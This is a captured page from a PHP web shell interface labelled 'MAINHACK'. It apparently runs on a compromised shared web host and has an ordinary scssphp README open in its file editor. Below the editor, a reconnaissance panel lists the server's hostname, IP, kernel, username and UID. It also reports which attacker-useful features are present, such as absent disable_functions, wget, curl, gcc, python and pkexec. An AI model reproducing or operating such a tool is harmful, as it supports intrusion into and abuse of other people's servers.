[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# scssphp ### <https://scssphp.github.io/scssphp>  [](https://packagist.org/packages/scssphp/scssphp) `scssphp` is a compiler for SCSS written in PHP. Checkout the homepage, <https://scssphp.github.io/scssphp>, for directions on how to use. ## Running Tests `scssphp` uses [PHPUnit](https://github.com/sebastianbergmann/phpunit) for testing. Run the following command from the root directory to run every test: vendor/bin/phpunit tests There are several tests in the `tests/` directory: * `ApiTest.php` contains various unit tests that test the PHP interface. * `ExceptionTest.php` contains unit tests that test for exceptions thrown by the parser and compiler. * `FailingTest.php` contains tests reported in Github issues that demonstrate compatibility bugs. * `InputTest.php` compiles every `.scss` file in the `tests/inputs` directory then compares to the respective `.css` file in the `tests/outputs` directory. * `SassSpecTest.php` extracts tests from the `sass/sass-spec` repository. When changing any of the tests in `tests/inputs`, the tests will most likely fail because the output has changed. Once you verify that the output is correct you can run the following command to rebuild all the tests: BUILD=1 vendor/bin/phpunit tests This will compile all the tests, and save results into `tests/outputs`. It also updates the list of excluded specs from sass-spec. To enable the full `sass-spec` compatibility tests: TEST_SASS_SPEC=1 vendor/bin/phpunit tests ## Coding Standard `scssphp` source conforms to [PSR12](https://www.php-fig.org/psr/psr-12/). Run the following command from the root directory to check the code for "sniffs". vendor/bin/phpcs --standard=PSR12 --extensions=php bin src tests *.php ## Static Analysis `scssphp` uses [phpstan](https://phpstan.org/) for static analysis. Run the following command from the root directory to analyse the codebase: make phpstan As most of the codebase is composed of legacy code which cannot be type-checked fully, the setup contains a baseline file with all errors we want to ignore. In particular, we ignore all errors related to not specifying the types inside arrays when these arrays correspond to the representation of Sass values and Sass AST nodes in the parser and compiler. When contributing, the proper process to deal with static analysis is the following: 1. Make your change in the codebase 2. Run `make phpstan` 3. Fix errors reported by phpstan when possible 4. Repeat step 2 and 3 until nothing gets fixed anymore at step 3 5. Run `make phpstan-baseline` to regenerate the phpstan baseline Additions to the baseline will be reviewed to avoid ignoring errors that should have been fixed.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.28 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252